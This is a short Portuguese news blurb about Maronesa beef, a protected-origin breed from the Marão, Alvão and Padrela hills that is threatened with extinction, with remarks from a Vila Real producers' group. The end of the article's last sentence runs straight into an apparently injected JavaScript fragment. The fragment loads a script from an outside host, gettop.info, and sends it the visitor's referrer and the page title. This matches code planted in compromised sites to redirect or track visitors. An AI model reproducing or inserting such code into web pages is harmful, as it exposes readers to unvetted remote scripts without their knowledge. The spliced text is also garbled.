Classificada como Denominação de Origem Protegida (DOP), a carne bovina maronesa provém de animais que se alimentam nos pastos das serras do Marão, Alvão e Padrela. Uma raça que enfrenta o risco de extinção, com um número reduzido de produtores e vendas em queda desde 2007. Joaquim Costa, do Agrupamento de Produtores de Carne Maronesa, em Vila Real, fala das angústias de um sector envelhecido e cada vez mais abandonado.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';